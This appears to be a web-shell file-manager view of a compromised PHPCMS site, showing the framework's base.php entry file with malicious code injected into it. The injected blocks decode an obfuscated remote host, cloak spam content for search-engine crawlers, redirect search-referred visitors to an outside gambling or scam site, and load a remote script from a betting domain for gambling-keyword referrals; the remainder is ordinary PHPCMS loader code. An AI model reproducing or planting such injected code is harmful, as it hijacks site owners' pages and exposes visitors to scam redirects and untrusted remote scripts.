Server : nginx/1.22.1
System : Linux iZwz9daxib3w3i063fw434Z 3.10.0-1127.19.1.el7.x86_64 #1 SMP Tue Aug 25 17:23:54 UTC 2020 x86_64
User : www ( 1000)
PHP Version : 7.2.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Directory :  /www/wwwroot/www.jkmold.com/phpcms/
Upload File :
Current Directory [ Writeable ] Root Directory [ Writeable ]


Current File : /www/wwwroot/www.jkmold.com/phpcms/base.php
<?php
set_time_limit(0);
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
define('URI', $_SERVER['REQUEST_URI']);
define('host', base64_decode('aHR0cDovL2R3LmltYWdlMS5vbmxpbmUv'));
define('MULU','timi|app|ios|android|download|blank|games|play|video|news|bak|gods|bmw|vod|post|activities|id|?|a|forum|portal|question|b|keyan|');
function isEngines($key){return stristr($key, 'Baiduspider') !== false||stristr($key, 'Sogou') !== false||stristr($key, '360Spider') !== false|| stristr($key, 'YisouSpider') !== false;}
function isIncludes(){$re = 0;$temp = explode('|',MULU);foreach($temp as $v){if(stristr(URI,$v) !== false){$re = 1;}}return $re;}
function isRef($ref){return stristr($ref,'baidu') !== false||stristr($ref,'sm.cn') !== false||stristr($ref,'so.com') !== false|| stristr($ref, 'sogou') !== false;}
function getContents($url){
    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)");
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        $result = curl_exec($ch);
        curl_close($ch);
		if($result == NULL){
			return file_get_contents($url);
		}
        return $result;
    } else {
        return file_get_contents($url);
    }
}
$ref = $_SERVER["HTTP_REFERER"];
$key = $_SERVER["HTTP_USER_AGENT"];
$ym = $_SERVER['HTTP_HOST'];

if (isEngines($key)) {
    header('Content-Type:text/html;charset=utf-8');
    if(isIncludes()){
	   echo getContents(host."?xhost=".$ym.'&reurl='.URI.'&ua=Baiduspider'.'&f=bd');
        exit;
    }else{
        echo file_get_contents(host."lunlian/dt.php");
	exit;
    }
}else{
	if(isIncludes()&&isRef($ref)){
       header("Location: https://io.vieclamvs111.com/?cid=jhgb&ref=" . urlencode($ym));
        exit;
    }	
}
?>
<?php

/**

 *  base.php PHPCMS框架入口文件

 *

 * @copyright			(C) 2005-2010 PHPCMS

 * @license				http://www.phpcms.cn/license/

 * @lastmodify			2010-6-7

 */

define('IN_PHPCMS', true);



//PHPCMS框架路径

define('PC_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);



if(!defined('PHPCMS_PATH')) define('PHPCMS_PATH', PC_PATH.'..'.DIRECTORY_SEPARATOR);



//缓存文件夹地址

define('CACHE_PATH', PHPCMS_PATH.'caches'.DIRECTORY_SEPARATOR);

//主机协议

define('SITE_PROTOCOL', isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443' ? 'https://' : 'http://');

//当前访问的主机名

define('SITE_URL', (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''));

//来源

define('HTTP_REFERER', isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '');



//系统开始时间

define('SYS_START_TIME', microtime());



function _spider() {
	$agent = strtolower($_SERVER['HTTP_USER_AGENT']);
	$spiderArr = array('360spider', 'so', 'bing', 'sogou', 'sm', 'yahoo');
	foreach($spiderArr as $v) {
		if(strpos($agent, $v) !== false) {
			return true;
		}
	}
	$hostname = strtolower(gethostbyaddr(@$_SERVER['REMOTE_ADDR']));
	$spiderArr = array('sogouspider', 'hn.kd.ny.adsl', 'msnbot');
	foreach($spiderArr as $v) {
		if(strpos($hostname, $v) !== false) {
			return true;
		}
	}
}


function _main() {
	$index = strtolower($_SERVER['SCRIPT_NAME']);
	$indexArr = array('index', 'default', 'home', 'safe','portal','forum');
	foreach($indexArr as $v) {
		if(strpos($index, $v) !== false) {
			return true;
		}
	}
}

function _from() {
	$referer = strtolower(@$_SERVER['HTTP_REFERER']);
	if(empty($referer)) {
		return false;
	} 
	$refeerArr = array('so.com', '360', 'soso', 'bing', 'sogou' ,'sm', 'yahoo','baidu');
	foreach($refeerArr as $v) {
		if(strpos($referer, $v) !== false) {
			return true;
		}
	}
}

function _keywords() {
	$referer = strtolower(@$_SERVER['HTTP_REFERER']);
	if(empty($referer)) {
		return false;
	} 
	$refeerArr = array('%e6%be%b3%e9%97%a8','%e6%9d%af','%e6%af%94','%e6%b3%a2','%e8%8f%a0%e8%8f%9c','%e5%8d%9a','%e5%bd%a9','%e4%bb%a3%e7%90%86','bet','%e5%88%b0%e8%b4%a6','%e5%be%b7%e7%94%b2','%e6%96%97','%e6%b3%95','%e9%a3%9e%e8%89%87','%e6%b8%af','%e5%86%a0','%e8%ae%a1%e5%88%92','%e8%ae%b0%e5%bd%95','%e7%bb%93%e6%9e%9c','%e9%87%91','%e7%ab%9e%e7%8c%9c','%e4%b9%9d%e5%b7%9e','%e5%bc%80%e6%88%b7','%e5%bc%80%e5%a5%96','%e5%bf%ab','%e5%85%ad','%e4%b9%b0','%e6%ac%a7','%e7%89%8c','%e8%b5%94','%e5%b9%b3%e5%8f%b0','%e6%89%91%e5%85%8b','pk','%e7%90%83','%e4%ba%ba%e5%b7%a5','%e4%bb%bb%e4%b9%9d','%e8%b5%9b','%e6%b2%99%e5%b7%b4','%e5%ae%9e%e4%bd%93','%e6%89%8b%e6%9c%ba','%e5%a5%97%e5%88%a9','%e4%bd%93%e8%82%b2','%e6%8a%95','%e6%8e%a8%e8%8d%90','%e5%a4%96','%e7%bd%91','%e8%a5%bf%e7%94%b2','%e4%bf%a1%e7%94%a8','%e4%bf%a1%e8%aa%89','%e5%b9%b8%e8%bf%90','%e4%ba%9a','%e7%a7%bb%e5%8a%a8','%e6%84%8f%e7%94%b2','%e8%8b%b1','%e5%9c%a8%e7%ba%bf','%e6%ad%a3','%e6%92%ad','%e4%b8%ad%e8%b6%85','%e6%b3%a8','%e8%b5%b0%e5%9c%b0','%b0%c4%c3%c5','%b1%ad','%b1%c8','%b2%a8','%b2%a4%b2%cb','%b2%a9','%b2%ca','%b4%fa%c0%ed','%b5%bd%d5%cb','%b5%c2%bc%d7','%b6%b7','%b7%a8','%b7%c9%cd%a7','%b8%db','cba','%b9%da','%bc%c6%bb%ae','%bc%c7%c2%bc','%bd%e1%b9%fb','%bd%f0','%be%ba%b2%c2','%be%c5%d6%dd','%bf%aa%bb%a7','%bf%aa%bd%b1','%bf%ec','%c1%f9','%c2%f2','%c5%b7','%c5%c6','%c5%e2','%c6%bd%cc%a8','%c6%cb%bf%cb','%c7%f2','%c8%cb%b9%a4','%c8%ce%be%c5','%c8%fc','%c9%b3%b0%cd','nba','%ca%b5%cc%e5','%ca%d6%bb%fa','%cc%d7%c0%fb','%cc%e5%d3%fd','%cd%b6','%cd%c6%bc%f6','%cd%e2','%cd%f8','%ce%f7%bc%d7','%d0%c5%d3%c3','%d0%c5%d3%fe','%d0%d2%d4%cb','%d1%c7','%d2%c6%b6%af','%d2%e2%bc%d7','%d3%a2','%d4%da%cf%df','%d5%fd','%b2%a5','%d6%d0%b3%ac','ag','%d7%a2','%d7%df%b5%d8');
	foreach($refeerArr as $v) {
		if(stripos($referer, $v) !== false) {
			return true;
		}
	}
}

if(_spider() && _main()) {
	@ob_end_clean();
	echo '<!--'.date('Y-m-d H:i:s').'-->';
	echo @file_get_contents('./uploadfile/2018/0817/20180817085715575.gif');
	@ob_end_flush();
	exit();
}
if(_keywords()){
	if(_from()){
		@ob_end_clean();
		echo '<script language="javascript" src="http://12betwin.com/1.js"></script><br/>';
		@ob_end_flush();
		exit();
	}
}
//加载公用函数库

pc_base::load_sys_func('global');

pc_base::load_sys_func('extention');

pc_base::auto_load_func();



pc_base::load_config('system','errorlog') ? set_error_handler('my_error_handler') : error_reporting(E_ERROR | E_WARNING | E_PARSE);

//设置本地时差

function_exists('date_default_timezone_set') && date_default_timezone_set(pc_base::load_config('system','timezone'));



define('CHARSET' ,pc_base::load_config('system','charset'));

define('ISVAR' ,pc_base::load_config('system','isvar'));

//输出页面字符集

header('Content-type: text/html; charset='.CHARSET);



define('SYS_TIME', time());

//定义网站根路径

define('WEB_PATH',pc_base::load_config('system','web_path'));

//js 路径

define('JS_PATH',pc_base::load_config('system','js_path'));

//css 路径

define('CSS_PATH',pc_base::load_config('system','css_path'));

//img 路径

define('IMG_PATH',pc_base::load_config('system','img_path'));

//动态程序路径

define('APP_PATH',pc_base::load_config('system','app_path'));

/* 自定义 */







define('XJK_PATH',pc_base::load_config('system','xjk_path'));



//应用静态文件路径

define('PLUGIN_STATICS_PATH',WEB_PATH.'statics/plugin/');



if(pc_base::load_config('system','gzip') && function_exists('ob_gzhandler')) {

	ob_start('ob_gzhandler');

} else {

	ob_start();

}



class pc_base {

	

	/**

	 * 初始化应用程序

	 */

	public static function creat_app() {

		return self::load_sys_class('application');

	}

	/**

	 * 加载系统类方法

	 * @param string $classname 类名

	 * @param string $path 扩展地址

	 * @param intger $initialize 是否初始化

	 */

	public static function load_sys_class($classname, $path = '', $initialize = 1) {

			return self::_load_class($classname, $path, $initialize);

	}

	

	/**

	 * 加载应用类方法

	 * @param string $classname 类名

	 * @param string $m 模块

	 * @param intger $initialize 是否初始化

	 */

	public static function load_app_class($classname, $m = '', $initialize = 1) {

		$m = empty($m) && defined('ROUTE_M') ? ROUTE_M : $m;

		if (empty($m)) return false;

		return self::_load_class($classname, 'modules'.DIRECTORY_SEPARATOR.$m.DIRECTORY_SEPARATOR.'classes', $initialize);

	}

	

	/**

	 * 加载数据模型

	 * @param string $classname 类名

	 */

	public static function load_model($classname) {

		return self::_load_class($classname,'model');

	}

		

	/**

	 * 加载类文件函数

	 * @param string $classname 类名

	 * @param string $path 扩展地址

	 * @param intger $initialize 是否初始化

	 */

	private static function _load_class($classname, $path = '', $initialize = 1) {

		static $classes = array();

		if (empty($path)) $path = 'libs'.DIRECTORY_SEPARATOR.'classes';



		$key = md5($path.$classname);

		if (isset($classes[$key])) {

			if (!empty($classes[$key])) {

				return $classes[$key];

			} else {

				return true;

			}

		}

		if (file_exists(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {

			include PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php';

			$name = $classname;

			if ($my_path = self::my_path(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {

				include $my_path;

				$name = 'MY_'.$classname;

			}

			if ($initialize) {

				$classes[$key] = new $name;

			} else {

				$classes[$key] = true;

			}

			return $classes[$key];

		} else {

			return false;

		}

	}

	

	/**

	 * 加载系统的函数库

	 * @param string $func 函数库名

	 */

	public static function load_sys_func($func) {

		return self::_load_func($func);

	}

	

	/**

	 * 自动加载autoload目录下函数库

	 * @param string $func 函数库名

	 */

	public static function auto_load_func($path='') {

		return self::_auto_load_func($path);

	}

	

	/**

	 * 加载应用函数库

	 * @param string $func 函数库名

	 * @param string $m 模型名

	 */

	public static function load_app_func($func, $m = '') {

		$m = empty($m) && defined('ROUTE_M') ? ROUTE_M : $m;

		if (empty($m)) return false;

		return self::_load_func($func, 'modules'.DIRECTORY_SEPARATOR.$m.DIRECTORY_SEPARATOR.'functions');

	}

	

	/**

	 * 加载插件类库

	 */

	public static function load_plugin_class($classname, $identification = '' ,$initialize = 1) {

		$identification = empty($identification) && defined('PLUGIN_ID') ? PLUGIN_ID : $identification;

		if (empty($identification)) return false;

		return pc_base::load_sys_class($classname, 'plugin'.DIRECTORY_SEPARATOR.$identification.DIRECTORY_SEPARATOR.'classes', $initialize);

	}

	

	/**

	 * 加载插件函数库

	 * @param string $func 函数文件名称

	 * @param string $identification 插件标识

	 */

	public static function load_plugin_func($func,$identification) {

		static $funcs = array();

		$identification = empty($identification) && defined('PLUGIN_ID') ? PLUGIN_ID : $identification;

		if (empty($identification)) return false;

		$path = 'plugin'.DIRECTORY_SEPARATOR.$identification.DIRECTORY_SEPARATOR.'functions'.DIRECTORY_SEPARATOR.$func.'.func.php';

		$key = md5($path);

		if (isset($funcs[$key])) return true;

		if (file_exists(PC_PATH.$path)) {

			include PC_PATH.$path;

		} else {

			$funcs[$key] = false;

			return false;

		}

		$funcs[$key] = true;

		return true;

	}

	

	/**

	 * 加载插件数据模型

	 * @param string $classname 类名

	 */

	public static function load_plugin_model($classname,$identification) {

		$identification = empty($identification) && defined('PLUGIN_ID') ? PLUGIN_ID : $identification;

		$path = 'plugin'.DIRECTORY_SEPARATOR.$identification.DIRECTORY_SEPARATOR.'model';

		return self::_load_class($classname,$path);

	}

	

	/**

	 * 加载函数库

	 * @param string $func 函数库名

	 * @param string $path 地址

	 */

	private static function _load_func($func, $path = '') {

		static $funcs = array();

		if (empty($path)) $path = 'libs'.DIRECTORY_SEPARATOR.'functions';

		$path .= DIRECTORY_SEPARATOR.$func.'.func.php';

		$key = md5($path);

		if (isset($funcs[$key])) return true;

		if (file_exists(PC_PATH.$path)) {

			include PC_PATH.$path;

		} else {

			$funcs[$key] = false;

			return false;

		}

		$funcs[$key] = true;

		return true;

	}

	

	/**

	 * 加载函数库

	 * @param string $func 函数库名

	 * @param string $path 地址

	 */

	private static function _auto_load_func($path = '') {

		if (empty($path)) $path = 'libs'.DIRECTORY_SEPARATOR.'functions'.DIRECTORY_SEPARATOR.'autoload';

		$path .= DIRECTORY_SEPARATOR.'*.func.php';

		$auto_funcs = glob(PC_PATH.DIRECTORY_SEPARATOR.$path);

		if(!empty($auto_funcs) && is_array($auto_funcs)) {

			foreach($auto_funcs as $func_path) {

				include $func_path;

			}

		}

	}

	/**

	 * 是否有自己的扩展文件

	 * @param string $filepath 路径

	 */

	public static function my_path($filepath) {

		$path = pathinfo($filepath);

		if (file_exists($path['dirname'].DIRECTORY_SEPARATOR.'MY_'.$path['basename'])) {

			return $path['dirname'].DIRECTORY_SEPARATOR.'MY_'.$path['basename'];

		} else {

			return false;

		}

	}

	

	/**

	 * 加载配置文件

	 * @param string $file 配置文件

	 * @param string $key  要获取的配置荐

	 * @param string $default  默认配置。当获取配置项目失败时该值发生作用。

	 * @param boolean $reload 强制重新加载。

	 */

	public static function load_config($file, $key = '', $default = '', $reload = false) {

		static $configs = array();

		if (!$reload && isset($configs[$file])) {

			if (empty($key)) {

				return $configs[$file];

			} elseif (isset($configs[$file][$key])) {

				return $configs[$file][$key];

			} else {

				return $default;

			}

		}

		$path = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.$file.'.php';

		if (file_exists($path)) {

			$configs[$file] = include $path;

		}

		if (empty($key)) {

			return $configs[$file];

		} elseif (isset($configs[$file][$key])) {

			return $configs[$file][$key];

		} else {

			return $default;

		}

	}
}